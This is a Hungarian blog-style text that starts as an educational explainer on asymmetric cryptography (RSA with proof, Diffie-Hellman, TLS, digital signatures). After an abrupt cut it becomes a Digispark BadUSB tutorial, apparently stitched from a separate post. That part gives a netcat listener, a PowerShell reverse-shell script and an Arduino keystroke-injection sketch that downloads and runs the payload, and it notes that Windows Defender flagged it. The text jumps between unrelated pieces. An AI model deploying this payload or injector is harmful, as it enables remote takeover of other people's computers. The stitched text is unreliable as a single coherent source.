Az Enigma is szimmetrikus kriptográfia szerint működött és mint titkosítás a korában egyedülálló és példátlan volt. Komoly szürkeállománynak kellett összeülnie a Szövetségesek oldalán, hogy feltörjék. - Sokan úgy tudják, többek között a Kódjátszma film miatt, hogy az angolok törték fel először, de a valóságban a lengyelek már 1932-ben tudták olvasni a titkos üzeneteket, 1939-ben adták át eredményeiket a francia és angol kódfejtőknek. Ettől függetlenül érdemes megnézni, Alan Turing és csapatának illetve automatájának (kezdetleges számítógép) jelentős szerepe volt a későbbi, fejlettebb modellek üzeneteinek feltörésében. - Szó sincs arról, hogy a titkosításban találtak hibát. Mint mindig az informatikában, a gyenge láncszem és a legnagyobb sérülékenység itt is az ember volt. A katonák nem minden nap cseréltek kódot, ahogy azt kellett volna, illetve az üzenetekben lévő ismétlődő kifejezések mint például a “WETTERVORHERSAGE” (időjárás előrejelzés) vagy az “EINS” (egy) egyszerűsítették a kódfejtő dolgát. Érdekesség, hogy 1982-ben is használták még az Enigmát még pedig az argentínok, Fakland-szigeteki háborúban. Nagyot néztek mikor az angolok minden lépésüket tudták előre. Nem lehet hibáztatni az argentínokat, hiszen az Egyesült Királyság sose hozta nyílvánosságra az eredményeiket az Enigma feltörésében, így még mindig az volt a köztudat, hogy az Enigma titkos.

Csak azért hoztam föl az Enigmát, mert egy jó példa arra, hogy a szimmetrikus titkosítás önmagában miért nem elég. Gondolkoztál már azon, hogy az Enigmát miért csak tengeralatjárókon használták? Azért mert a tengeralatjáró ha megsemmisül, akkor az Enigmát is viszi magával a tengerfenékre, így nem lehet a gépet, azaz a titkosítást visszafejteni illetve a kódot ellopni. Ezért nem használták szárazföldi csapatoknál. Tehát nem volt skálázható, hiszen több ember esetén egyre nagyobb lett volna az esélye a kód kitudódásának. Az internet térnyerésével, és a felhasználók exponenciális növekedésével pedig a szükség egy skálázható titkosítási szabványra nőttön-nőtt.

Aszimmetrikus kriptográfia

Az aszimmetrikus kriptográfiában, avagy nyílvános kulcsú titkosításnál kulcs párokról beszélünk, ahol van egy privát kulcs és egy publikus kulcs. Retrospektíven, úgy a székben hátradőlve nézve a koncepció egyszerűsítve az alábbi: páronként a titkosításhoz szükséges kulcs publikus, a feloldáshoz a kulcs pedig titkos, és a publikus kulcsból visszafejteni a titkos kulcsot algoritmusokkal annyi időbe telne, hogy nem csak a kávénk hűlne ki, de még a Naprendszer is. Az aszimmetrikus jelző innen jön, hogy a titkosítás és dekódolás nem ugyanúgy megy.

Egy információ csere aszimmetrikus titkosítást használva Bob és Alice között az alábbiak szerint zajlana le az ábrát követve:

1. Bob letitkosítja az üzenetét Alice publikus kulcsával, majd elküldi Alicenak az eredményt.
2. Alice megkapja a titkosított üzenetet, majd a titkos kulcsával feloldja azt.

Az egész rendszer müködése azon alapszik, hogy a titkos kulcsok titkosak maradnak és senkivel nem osztjuk meg azt, mivel annak beláthatatlan következményei lehetnek ránk nézve.

Most pedig konkrét megvalósítások.

RSA (Rivest–Shamir–Adleman)

Az RSA az egy kriptográfiában nevezetes algortimus amely nyílvános kulcsú titkosítást valósít meg, melyet 1977-ben vázolt a nevében is szereplő 3 dzsentlmen.

Definíciók

Az alap ötlet az RSA mögött, hogy adott \(n, e\) és \(d\) egész számnál, az \(x \in N: 0 \leq x < n\) szám esetén az \((x^e)^d\) és \(x\) azonos maradékot adnak \(n\)-nel osztva, azaz kongruensek moduló n:

\[(x^e)^d \equiv x \pmod n\]

Ugyanakkor ha csak az \(n\) és \(e\) szám adott, a \(d\) szám kiszámítása borzasztóan nehéz. Most nem úgy értem a nehezet, mint hogy nehéz reggel kikelni az ágyból, hanem úgy hogy ha világ összes számítógépe is rendelkezésünkre állna akkor is még a temetésünkön számolnának.

Az \(n\) és \(e\) természetes számok alkotják a publikus kulcsot, melyben az \(n\) a moduló amely \(p\) és \(q\) prímszám szorzatából áll, és az \(e\) pedig a titkosításhoz használt (“e” for encryption) hatványkitevő mely relatív prím \(\phi(n)\) számmal.

a \(\phi(n)\) függvény az az Euler-féle phí függvény mely megadja, hogy \(x \in N: 1 \leq x \leq n\) számok között mennyi n-hez relatív prím van.

A \(p\) és \(q\) alkotják a titkos kulcsot, melyekbők kiszámítható a \(d\) (“d” for decryption) hatványkitevő, ami a dekódoláshoz fog kelleni. Igazából a \(p\) és \(q\) eldobható miután \(d\) ki lett számítva.

A titkosítás folyamata:

Kulcs generálás

1. Generáljunk 2 nagy \(p\) és \(q\) prímszámot. A lényeg az lesz, hogy az \(n\) számból minél nehezebb legyen prím faktorizációval megkapni a \(p\) és \(q\) számot. Ehhez a \(p\) és \(q\) is legyen lehetőleg teljesen véletlenszerű, kellően nagy és kettőjük különbsége is legyen nagy. Hatékony prím generálásra a prím tesztelése véletlenszámokra. Fontos hogy a véletlenszám generátorunk legyen minél “véletlenebb”, azaz entrópiája minél nagyobb, hiszen számítógépen csak pszeudo véletlent ismerünk hiszen a számítógép önmagában determinisztikus. Ezzel egy külön ágazat foglalkozik a matematikában, csak érdekességnek hoztam föl.

2. Számoljuk ki \(n=p * q\). Biztonságosnak ítélt kulcs azaz \(n\) hossz az 2048 bit, ami kb 617 számjegynek felel meg a tízes számrendszerben azaz értéke saccperkb \(10^{616}\). Most álljunk meg és gondolkozzunk el ezen nagyságon egy picit. Ugyebár úgy tudnánk támadóként feltörni a titkosítást, ha \(n\)-ből meg tudnánk kapni \(p\)-t és \(q\)-t. Ez kicsit túl lő az üzenet feltörésén, hiszen ezután az összes üzenetet fel tudnánk törni. Ez a prím faktorizáció problémája melyre mai napig nem ismert polinomiális komplexitású algoritmus, ugyanakkor nincsen az se bizonyítva, hogy nem létezik ilyen, bár ez a sejtés. Ha esetleg találnál ilyet, akkor könnyűszerrel világuralomra törhetsz, hiszen a banki tranzakciók, kriptovaluták, államtitkok és nem utolsósoron a digitális aláírások titkosítása is ezt használja. Például a szofterfrissítések is digitális aláírással ellenőrzik, hogy a hivatalos szerverről jött a frissités, de ha feltörnéd ezt, bárkinek kiadhatnád magad, ezáltal például az összes Windows gép felett átvehetnéd az irányítást egyetlen Windows frissítéssel. Érdekes, hogy az egész világrendünk, a civilizációnk egy matematikai sejtésre van bízva. Csak hogy elképzelhesd mennyi időbe is telne ha naívan elkezdenénk próbálgatni brute-force módszerrel a prímeket 2-től kezdve \(\sqrt n\)-ig: kb. \(10^{80}\) proton van a megfigyelhető világegyetemen, tegyük fel hogy ez mind egy olyan számításiegység ami 4 GHz-en müködik azaz az egyszerűség kedvéért másodpercenként \(4 * 10^9\) prím tesztelésére képes, tehát másodpercenként \(4 * 10^{89}\) szám tesztelésére vagyunk képesek összesen. Ezek szerint \(\frac{\sqrt{10^{616}}}{4 * 10^{89}} \approx 10^{218} \) másodpercre lenne szükségünk. Az univerzum 13,7 milliárd éves azaz kb \(4,3 * 10^{17}\) másodperc éves. Remélem ez a kis gondolatkísérlet kontextusba helyezte a nagyságokat.

3. Válasszunk ki egy természetes számot az \(e\) számára úgy, hogy \((e,\phi(n))=1\), azaz relatív prímek. Itt a hossz nem annyira lényeges mint az \(n\) esetén, tipikus érték az \(e\)-nek a \(65537\).

4. Számoljuk ki a \(d\) értékét a \(p\) és \(q\) számok segítségével. Hogy hogyan azt a helyesség bizonyításánál méltatom bemutatni.

Tehát ezek után van egy publikus kódoló függvényünk

\[C: x \mapsto x^e \pmod n\]

ahol \(x:=\) a plaintext üzenetünk azaz a titkosítandó adat

és van egy titkos dekódoló függvényünk

\[D: y \mapsto y^d \pmod n\]

ahol teljesül az hogy \(D(C(x))=x\)

Aki eddig eljutott és ismeri a hatványazonosságokat az biztos elgondolkozott rajta, hogy a \(d\) és \(e\) felcserélhető-e. Bizony felcserélhetőek hiszen \((x^e)^d = (x^d)^e\). Azt nem mondanám, hogy használható lenne a titkos kulcs titkosításra, mivel nem lesz tőle titkos, hiszen bárki feloldhatja a hozzátartozó publikus kulccsal. Ezt a kommutatívitást is ki tudjuk használni a gyakorlatban a digitális aláírásnál és azonosításnál, de erről többet kicsit lejebb :).

Kulcs megosztása

Bob és Alice az RSA-t akarják használni tikosításra beszélgetés közben, mert biztonságos. Ekkor ha Bob üzenetet szeretne küldeni Alicenak, akkor elkéri Alice publikus kulcsát \((n,e)\), majd ezt egy csatornán (nem muszáj biztonságosnak lennie) meg is kapja. Alice a titkos kulcsát \((d)\) soha nem adja ki, azt a dekódolásra használja saját magánál.

Titkosítás

Bob miután megkapta Alice publikus kulcsát, azt felhasználva titkosítja az \(x\) üzenetet és megkapja titkosított szöveget \(c\)-t.

\[c \equiv x^e \pmod n\]

Minden józan, már tapasztaltabb emberben, fel kell merülnie annak az ördögi kérdésnek, hogy ez a lépés vajon polinomiális-e mert ha nem akkor semmi értelme nincsen az egésznek. Szerencsére a moduláris hatványozás megoldható polinomiálisan az ismételt négyzetre emelés módszerével, annak ellenére, hogy a hatványozás önmagában nem lenne polinomiálisan kivitelezhető.

Feloldás

Alice ezután megkapja a titkosított üzenetet és a titkos kulcs segítségével feloldja azt.

\[c^d \equiv (x^e)^d \equiv x \pmod n\]

Helyesség bizonyítása

Eddig valjuk be őszintén a levegőbe beszéltem, semmi se lett bizonytva, már pedig ez így nem járja.

Cél hogy bebizonyítsuk, hogy \[\forall n \in N, n=p * q, \forall e \in N, (e,\phi(n))=1\] esetén \(\exists d\) ahol igaz az, hogy \((x^e)^d \equiv x \pmod n\) ahol \(x\) tetszőleges üzenet.

Ehhez felhasználjuk az Euler-Fermat tételt miszerint

ha \(n \leq 1\) és \((x,n)=1\) \(\Rightarrow x^{\phi(n)} \equiv 1 \pmod n\)

Emeljük a konkruenciát \(k \in N\)-ra és szorozzuk mindkét oldalát \(x\)-szel. Ezek ekvivalens lépések, ekkor

\[x^{k\phi(n) + 1} \equiv x \pmod n\]

tehát ha a hatványkitevő \(ed = k\phi(n) + 1\) akkor igaz a kongruencia.

Ebből a megállapításból az alábbi kongruencia következik

\[ed \equiv 1 \pmod {\phi(n)}\]

hiszen ez az előbbi állítással ekvivalens.

Ez pedig egy lineáris kongruencia a \(d\) ismeretlenre, hiszen \(e\) értéke adott és \(\phi(n) = (p-1)(q-1)\) itt nem tárgyalt azonosságok alapján. Ennek a lin. kon. biztosan \(\exists\) megoldása, mivel \((e,\phi(n))=1\). Ezt a megoldást hatékonyan meg is tudjuk találni az Euklideszi algortimussal.

Ez nem a teljes bizonyítás hiszen nem fedtük le azt az esetet amikor is \((x,n) \neq 1\). Ennek a gyakorlati valószínüsége ámbár nagyon kevés hiszen ez azt jelenti, hogy \(p | x\) vagy \(q | x\), de mégis kell vele foglalkozni, hiszen matematikusok vagyunk :D.

Ha \(p | x\) és \(q | x\) is akkor \(pq | x\) azaz \(n | x\) ekkor \(x^{k\phi(n) + 1} \equiv x \pmod n\) természetes hogy létezik megoldás hiszen \(x \equiv 0 \pmod n\) és \(x^{k\phi(n) + 1} \equiv 0 \pmod n\) hiszen ha \(n | x\) akkor \(x\) többszörösei is oszthatóak \(n\)-nel.

Ha \(p | x\) és \( q \nmid x\) akkor külön-külön bemutatjuk

1. \[x^{k\phi(n) + 1} \equiv x \pmod q\]

2. \[x^{k\phi(n) + 1} \equiv x \pmod p\]

kongruenciát is, hiszen ekvivalens ez \(x^{k\phi(n) + 1} \equiv x \pmod n\)-nel

Az 1. állítás bizonyítása 1:1 megegyezik azzal az esettel mikor \((n,x)=1\) hiszen most \((q,x)=1\). A 2. állítás pedig szinte ugyanaz mint amikor \(x \equiv 0 \pmod n\).

Ha \(p \nmid x\) és \( q | x\) akkor az előző esethez szimmetrikusan, hasonlóan bizonyíthatunk csak \(q\) és \(p\) szerepét felcserélve.

Most már teljes a bizonyítás!

Megjegyzések a gyakorlati alkalmazáshoz

A dekódolás folyamatában, az 1 nagy hatványkitevős ismételt négyzetre emelést érdemes lecserélni 2 kisebb kitevős ismételt négyzetre emelésre, és ez ekvivalens is lesz a kínai maradéktétel miatt, ugyanakkor kisebb hatványkitevővel dolgozik ez a 2 ismételt négyzetre emelés ami a gyakorlatban gyorsabb mint az 1 nagy hatványkitevővel. A részletekbe most nem megyek bele.

Most pedig térjünk rá a biztonságra, ami egy titkosításnál sarkalatos pont úgy hiszem. Már eset róla szó hogy az egész RSA biztonsága az a faktorizációs problémára épül. Ahogy már említettem kulcs hossznál már a 2048 bit ajánlott, bár még nem ismert olyan eset, hogy 1024 bites kulcsot praktikus időn belül feltörtek volna. 512 bites kulcsokat még nem de már ennél rövidebb kulcsokat talán már 20 évvel ezelőtt is feltörtek gépparkokkal, ma már egy asztali számítógép is megtudja csinálni reális időn belül. Az aktuális viszont a kérdés, hogy a kvantumszámítógépek megjelenése mennyire zavarja meg ezt a magabiztosságot. Rosszul fogalmaztam mert ez már 1994 óta nem is kérdés, mivel Peter Shor bemutatta, hogy ha valaha keletkezik kvantumszámítógép, akkor azon polinomiális időn belül törhető lesz az RSA. Emiatt nemzet szintű szervezetek és játékosok, illetve most már applikációk is (pl. Signal, Messenger) kezdenek átállni kvantum rezisztens titkosításokra.

Nem feltétlenül kell viszont hatalmas magaslatokban gondolkodni ha RSA sérülékenységről van szó. Elég csak egy rossz konfiguráció. Például ha \(e=3\) azaz túl kicsi, akkor könnyen meglehet hogy \(x^e < n\) és ilyenkor csak elég \(e\)-dik gyökét venni a titkosított üzenetnek, és mivel nem jászott a modulus, ezért megkapjuk gond nélkül az üzenetet. Ez amatőr dolog, gyakorlatban nem megszokott de például CTF feladatban előfordulhat. Kulcs generálásnál is már említettem, hogy rendkívül fontos az eléggé random véletlenszám generátor, ami nem kis feladat. Hallottam, hogy például valamilyen nagy cég lávalámpa mátrixot használt, ahol a lávalámpákban mozgó kis buborékok mozgását figyelték és ezek alapján generáltak véletlenszámot.

A csupasz RSA determinisztikus, tehát ugyanaz a kulcs ugyanazt az üzenetet, ugyanazt a titkosított szöveget köpi ki. Ebből az következik, hogy a támadóknak lehetősgük van idő-tárhely “trade-off”-ra. Ez hasonlít a hash függvények elleni támadásra, ahol úgynevezett “rainbow table”-lel előre lehashelnek rengeteg előfordulható szöveget (főképp jelszavakat) majd eltárolják az eredményeket. Itt is ez a helyzet, a nyílvános publikus kulccsal letitkosítunk temérdek variációt és eltároljuk őket, majd ha valamit vissza akarunk fejteni, csak megkeressük a hatalmas adatbázisunkban, hogy van-e egyezés. Félelemre semmi ok, pontosan ugyanúgy lehet védekezni ez ellen is mint a rainbow table-ök ellen is. Ott a salting azaz sózásnak hívták, itt padding-nek nevezik. Padding-nél az üzenetet bizonyos protokoll szerint kiegészítjük egy véletlenszerű toldással, majd ezt feloldásnál visszafele eljátszuk.

Ami engem izgat és biztosan meg fogom csinálni a gyakorlatban, azok a side-channel támadások. Ezek arra alapoznak, hogy a támadónak hozzáférése van plusz információkhoz a titkosítás során, például hogy milyen hardveren történik, mennyi idő alatt, mekkora teljesítményt igényel, mennyi hőt vagy elektromágneses hullámokat bocsájt ki a processzor a titkosítás alatt. Olyan titkosítás nem létezik amely side-channel támadással ne lehetne feltörni, mivel az implementációt nem lehet tökéletesre megcsinálni. Viszont ehhez fizikai hozzáférésre lenne szükségünk a számítógéphez amely szerencsére nagyban csökkenti a támadók esélyeit.

Diffie-Hellman

Az RSA képes hatalmas üzenetek blokkonkénti titkosítására a tárgyalt aszimmetrikus algoritmussal, de az igazság az, hogy bármennyire is próbálkozunk optimalizálni, egy szimmetrikus titkosítás mindig gyorsabb lesz nála. A szimmetikus titkosításnak viszont szüksége van egy közös titkos kulcsra amely titkosan lett megosztva a felek közöt, ezt a problémát már a cikk elegén túltárgyaltam. Tehát az aszimmetrikus és szimmetrikus titkosításnak is megvannak előnyei és hátrányai. Mit csináltak a zseniális mérnökök? Mindkettőt használják egyszerre megtartva a jó tulajdonságokat a rosszaktól pedig megszabadulva. Ezért az internet vadvilágában az a szabvány, hogy A és B eszköz aszimmetrikus titkosítással közös titkos kulcson megegyeznek, majd ezután egy megegyezett szimmetrikus titkosításra átváltanak. Lenyűgöző, nem?

Itt jön képbe a Diffie-Hellman-kulcscsere, ami időben meg is előzte az RSA-t, az 1976-os megjelenésével. Az elismerés érte Ralph Merkle-t, Whitfield Diffie-t és Martin Hellmant-t érdemli. Az algoritmus célja, hogy nyílvános kulcsú rejtjelezéssel, felek között megteremtsen egy közös titkot, amelyhez harmdik fél hozzáférni nem tudhatott. Ezt az RSA-hoz hasonlóan egy olyan függvénnyel teszi ami egyirányú.

Wikipédián találtam ezt a remek kis egyszerű ábrát amit követve könnyen meg lehet érteni a fő gondolatot.

A folyamat az alábbi:

Alice és Bob megegyeznek publikusan \(p,g \in N\) számokról (ábrával ellentétben, nagyságrendben nagyobb számokat használva).

Alice és Bob is külön-külön felhasználják titkos kulcsaikat. Alicenál, az \(a, \in N\) titkos kulccsal:

\[A=g^a \pmod p\]

Bobnál, a \(b, \in N\) titkos kulccsal:

\[B=g^b \pmod p\]

Majd \(A\)-t Alice elküldi publikusan Bobnak, Bob pedig \(B\)-t Alicenak.

Ezután mindkettőjük a kapott értéken megint felhasználják titkos kulcsukat. A keletkező \(s\) szám lesz a közös titok.

Az algoritmus fő ötlete, hogy kihasználja az alábbi összefüggést

\[g^{ab} \equiv g^{ba} \pmod p\]

Ez teszi lehetővé, hogy Alice és Bob is ugyanazt az értéket kapja meg. Mi állítja meg a támadókat a privát kulcsok visszafejtésére vagy akár a közös titok kiderítésétől?

Itt is egy olyan matematikai függvényen alapszik a biztonság, amelyről azt sejtjük, hogy nem lehet polinomiális időn belül (a kvantumszámítógépeket nem beleértve ebbe megint) elvégezni. Ez a függvény a diszkrét logaritmus. Egyszerűen arról van szó, hogy \(g^a,g^b,p,g\) ismeretével nem tudjuk visszafejteni \(a,b,g^{ab}\) értékeket még mielőtt a Nap kihűlne.

Gyakorlat

A fentiekben is már bőven szó esett arról, hogy mire is lehet használni az aszimmetrikus kriptográfiát, de talán most jobban kifejtem.

TLS

A TLS (Transport Layer Security), egy olyan keretrendszer, szabvány, amely azon protokollok biztonságáért felelős mint például a HTTPS, amelyek A címtől juttatnak el B címre adatokat. Tehát lényegében azt testesíti meg, ami eddig a cél volt, hogy az internet kommunikáció titkosítva legyen. A TLS jóformán az amit, a Diffie-Hellman-kulcscserénél már elmondtam, hogy asszimetikus titkosítással megegyezünk egy közös titkos kulcsban, majd átállunk szimmetikusra ezzel a titokkal, mivel az gyorsabb. Azonban az olyan részleteket kihagytam, mint például hogy azon is ilyenkor egyeznek meg, milyen titkosítást használjanak, amelyre mindkettő eszköz képes.

Fontos feladata a TLS-nek az autentikáció is. Például hiába a sok erőfeszítés ha kivetelezhető egy MITM (Man-In-The-Middle) támadás. Az MITM során a támadó harmadik félként beáll Alice és Bob kommunikációja közé, úgy hogy ezt sem Alice nem veszi észre sem Bob. Ez úgy lehetséges, hogy a támadó, mondjuk József, azt állítja Alicenak, hogy ő Bob, Bobnak pedig azt mondja hogy ő Alice. Így Alice és Bob is József publikus kulcsával fogja titkosítani a kommunikációját, ezért József bármikor beleolvashat abba. Fontos, hogy ahhoz hogy az illúzió működjön, József a kommunikációt továbbítja Alice és Bob között, így a két szereplőnek tényleg fogalma sem lehet hogy valójában valakin keresztül megy az üzenetük.

Erre a megoldások voltak a tanusítványok. Tanusítványokat megbízott harmadik felek állítják elő, és egy tanusítványban szerepel, hogy az adott félhez milyen publikus kulcs tartozik. Ezek az SSL tanusítványok, melyeket te is részletesen el tudsz olvasni bármelyik weboldalnál ha a böngésződben a lakatra kattintasz. Itt van például az enyém:

Challange-response

Minden eszköz most már rendelkezésünkre áll ahhoz, hogy megoldjuk a korrupt recepciós problémát. A cél az, hogy a recepcióssal ne kelljen megosztanunk semmi titkosat, de ugyanakkor a recepciós 100%-ban biztos lehessen, hogy azok vagyunk akiknek állítjuk magunkat. Mi sem egyszerűbb: a recepciós a tanusítvány szerint Kurz Valentinhez tartozó publikus kulccsal letitkosít valami számára egyedi dolgot, mondjuk egy véletlenszámot, és elküldi azt nekem - ez a challange. Majd én ezt feloldom a titkos kulcsommal, és visszaküldöm neki az eredményt - ez a response. A jó eredményt valóban csak is én tudom megmondani (már ha tényleg én vagyok Kurcz Valentin :D), hiszen csak az én titkos kulcsommal lehet feloldani a hozzám tartozó publikus kulccsal titkosított üzeneteket. A korrupt recepciós pedig a kardjába dőlhet mert nem sikerült kicsalnia belőlünk a titkunkat.

Ezt a challange-response rendszert használja a legtöbb SSH kliens is, amikor távolról szeretnénk elérni egy shell-t. A szerver autentikálja a klienst, hogy meggyőződjön jogosultságairól.

Digitális aláírás

Autentikációra van más módszer és erre példa a digitális aláírás. Hasznossága kétségbevonhatatlan, hazánkban is már az Ügyfélkapun keresztül alá tudunk írni hivatalos okmányokat, és nemhogy legalább annyira hiteles mint a tinta és papír, de megfelelő konfiguráció mellett, meghamisíthatlan nem úgy mint az írásunk.

Az RSA című elbeszélő költeményemben már szó esett arról, hogy a titkos és a publikus kulcs funkcionalitása felcserélhető (kommmutatívak), nem úgy mint például a Diffie-Hellman esetében. Ezt a tulajdonságot kombinálva egy biztonságos hash függvénnyel, megkapjuk a gyakorlatilag meghamisíthatlan aláírást, ami az aláírt üzenetek integritását is ellenőrzi. A folyamat a következő:

1. Az aláírandó dokumentumot leképezzük egy hash értékre.

2. Ezt a hash értéket kombináljuk az RSA algoritmusával a titkos kulccsal (direkt nem titkosítást mondtam)

3. Majd ennek a végeredményét mellékeljük mint aláírás a dokumentumunk mellé.

Aki ellenőrizni szeretné az aláírást, csak annyi a dolga, hogy a dokumentumot hasheli, és az aláírást kombinálja a feltételezett aláíró publikus kulcsával, és ha az eredmény egyezik az előbbi hashel, akkor biztosak lehetünk, hogy ő írta alá.

A hashelés lépése több szempontból is kézenfekvő:

• Mivel bármilyen nagy dokumentumra, ugyanolyan hosszú hash digest-et képez (pl SHA256 esetén 32 byte hosszúságút) ezért a titkos kulccsal való kombinálás gyorsabban megy.

• Hashelés egyik természetes haszna az integritás ellenőrzése, hiszen a legkisebb változás is a bemenetben, teljesen más hash digest-et eredményezhet. Így ha a dokumentum, amit aláírtunk az ellenőrzés előtt az úton valahol manipulálva, módosítva lett, akkor az aláírás érvénytelenítődik.

Fontos megjegyzés az is, hogy ha egyszer valami aláírva lett, utána letagadni azt nem lehet, hiszen senki más nem írhatta alá.

Ennek a biztonsága is azon múlik, hogy semmilyen titkos kulcs nem kerül illetéktelen kezekbe, mert ha ez megtörténik, utána a támadó az ellopott kulcs tulajdonosának adhatja ki magát bárhol, bármikor. Ennek a következmé Sajnos ilyenek történnek, ezért kell valami immunitás ez ellen. Ezért vezették be a kulcsok érvénytelenítését, amiket akkor használunk ha kulcsunkat ellopták és nem akarjuk, hogy felhasználhassák őket.

Összegzés

Sikerült összefoglalni felső nézetből az asszimetikus rejtjelezést, néhol belemenni a részletekbe is, példákkal ellátva. Jelenleg is kezdő pályán vagyok ebben a témában szóval könnyen előfordul, hogy valahol nem pontosan fogalmaztam. Ebben az esetben szólj és kijavítom.

Irodalom amit használtam/olvastam: Applied Cryptography, Second Edition: Protocols, Algorthms, and Source Code in C

Források

https://people.csail.mit.edu/alinush/6.858-fall-2014/l16-timing-attacks.html

https://en.wikipedia.org/wiki/RSA_(cryptosystem)

Persze nem csak csúnya dolgokra lehet ezt használni. Ha például rendszergazdák vagyunk akkor akár a repetatív feladatokat könnyen felcserélhetjük egy bedugás és kihúzás mozdulatára ennek segítségével.

Felelősség

A tudás és a tapsztalat felelősséggel, és azon kötelességgel jár, hogy csak is embertársaink, és környezetünk előnyére, jólétére használhatjuk fel. Semmilyen körülmények között nem élhetünk vissza azzal a hatalommal, amelyet az élet ruházott ránk, amikor voltunk olyan szerencsések, hogy valamire rájöttünk, valamit megtanultunk. Ez különösen igaz a kiberbiztonság témakörében és még máskor is ki fogom ezt hangsúlyozni. Én az itt bemutatott technikákat csakis saját, vagy olyan rendszeren, számítógépen próbálom ki, amelyekhez engedélyt kaptam a tulajdonostól. A célom a dokumentálás és a tanításnak a szándéka, hogy így egy biztonságosabb internet és informatika születhessen. Ezáltal szeretném tisztázni, hogy engem semmilyen felelősség nem terhel, hogy TE a saját döntéseid után ezt a tudást mire használod.

Digispark ATTiny85

Az alternatívát a Digispark kínálja mely egy ATTiny85 8 bites RISC utasításkészletű mikrokontrollerrel rendelkezik, amely hála a fejlesztőknek, kompatibilis az Arduino IDE fejlesztői környezettel egy kis babrálás után. Az ára rendkívül baráti a $80-hoz képest, magyarországi forgalmazók 1500 Ft környékén árulják, de ha van időd megvárni, akkor lehet hogy Aliexpressről olcsőbban be tudod szerezni. Nem promóció de itt egy magyar forgalmazónál egy példa.

Itt a cukiság

Ardunio IDE setup

Az Arduino IDE-t töltsd le a hivatalos oldalról, vagy csomagkezelőddel (nekem a csomagkezelős változat hiányos volt). Mivel ez nem egy Arduino board ezér külön le kell tölteni hozzá az illesztést. Ezt az alábbi módon tudod megtenni:

1. File » Prefrences » Additional board manager URLs: ide illeszd be ezt a linket https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json (más tutoriálokban esetleg más linket látsz az azért van mert azok még a hivatalos oldalról vannak, de sajnos nem olyan rég megszűnt a támogatás onnan, ezért kellett kiásnom a Github repo-ból ugyanarra a fájlra mutató linket).
2. Board manager » Itt keresd meg a “Digistump AVR” csomagot és töltsd le.
3. Tools » Itt a “programmer”-nél válaszd ki a Micronucleus-t, a “board”-nál pedig a Digispark 16,5 Mhz (default)-ot.

Kész is vagy!

Egyéb

Az eredeti Arduino board-okat az operációs rendszerek automatikusan ellátják a megfelelő jogosultságokkal, hogy programozhatóak legyenek, de könnyen lehet hogy neked a Digisparkot nem ismeri fel hasonlóképpen. Ennek megoldásához Linuxon a továbbiakat kell tenned:

1. Hozz létre egy 49-micronucleus.rules fájlt az itt jelölt helyen: /etc/udev/rules.d/49-micronucleus.rules
2. Másold bele ezeket a sorokat és futtasd a parancsot:

SUBSYSTEMS==“usb”, ATTRS{idVendor}==“16d0”, ATTRS{idProduct}==“0753”, MODE:=“0666”

KERNEL==“ttyACM*”, ATTRS{idVendor}==“16d0”, ATTRS{idProduct}==“0753”, MODE:=“0666”, ENV{ID_MM_DEVICE_IGNORE}=“1”

sudo udevadm control --reload-rules

Payload

Most már lehet programozni a kis cukiságot. Én példaképpen egy rendkívül egyszerű reverse shell-t fogok megvalósítani vele, a cél számítógép és a saját gépem között.

Reverse shell: A shell az egy médium, egy interfész a felhasználó és a vas között, ami általában parancssorba gépelt utasításokat lefordít a számítógép nyelvére, hogy aztán a kernel segítségével végrehajtódjanak. A shell az vonatkozhat egy távoli eléréssel kapcsolódott számítógépre is, erre ismert protokolok például az SSH (Secure Shell). Ilyenkor a távoli számítógép “hallgatózik”, hogy van-e valaki aki kapcsolatot akar teremteni vele, és ha mi akarunk az otthoni gépünkről elérni az ottani shell-t, akkor mi küldünk kérést neki. A reverse shell “reverse” része abból következik, hogy ilyenkor a szerepek feladata megcserélődik, a távoli gép kezdeményezi a csatlakozást. Ezt azért használják támadási vektornak mert a cél számítógép tűzfala a kimenő kéréseket nem akadályozza meg, de a bemenőeket igen. Egy ilyen reverse shell a támadónak esélyt ad, hogy fájlokat szolgáltasson ki, megteremtse a perzisztenciát, hogy ki-be tudjon járkálni kedve szerintde más sérülékenységekkel vegyítve tetszőleges célokat el tud érni vele.

Én ezt a legamatőrebb módon teszem meg (ez egy valós szituációban nem állná meg a helyét), csupán a koncepciót és a Digispark képességeinek egy töredékét szeretném bemutatni. A lényeg az, hogy lokálisan szolgáltatom egy php szerveren a powershell scriptet, illetve “hallgatózom” a saját gépemen a reverse shell kérést várva. Majd a cél gépen ezt a scriptet töltjük le (az USB segítségével), amit futtatva powershell-ben, csatlakozik a “hallgatózó” számítógépünkhez, így megteremtve a reverse shell-t. Ezt a folyamatot egy valós helyzetben botnettel csinálná a támadó szerintem, hogy a kilétét elfedje.

Netcat-tel hallgatózom a 4444 porton

nc -lp 4444

php szerverrel szolgáltatom azt a könyvtárat, ahol a script van

sudo php -S 0.0.0.0:80 -t /directory/to/folder/of/powershellScript/

payload.ps1 fájl tartalma, ez a powershell script amit megosztunk

Változtasd meg a saját host IP címedre a “HOST_IP_ADDRESS”-t.

$sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Samratashok érdeme ez a kis script. Github repo

Most pedig az amit tényleg az USB fog csinálni. Ugyebár úgy kell gondolkodnunk mintha egy billentyűzetet kellene programozni előre. Ahogy már említettem ehhez az Arduino IDE segítségünkre lesz.

#include "DigiKeyboard.h" // a header ami leegyszerűsíti a parancsok kiírását
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0); // az eddigi gépelést "reset"-eljük
  DigiKeyboard.delay(500); // várást kell illetve ajánlott beiktatni, mert a számítógép sokszor nincs felkészülve a hirtelen billentyűnyomásra és esetleg figyelmenkívül hagy egy betűt, ezzel elrontva mindent akár
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win + R
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\""); // az említett script letöltésére és futtatására, itt amúgy nekem bejelezett a Windows Defender, ezért kifinomultabb delivery módszer szükséges
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for (;;) {
    // üres ciklus, hogy ne fusson le újra a script
  }
}

Ezt a kódot feltöltjük a Micronucleus-szal a Digispark-ra és már készen is vagyunk. A saját LAN-on most már bármelyik Windows gép fölött átvehetjük az irányítást.

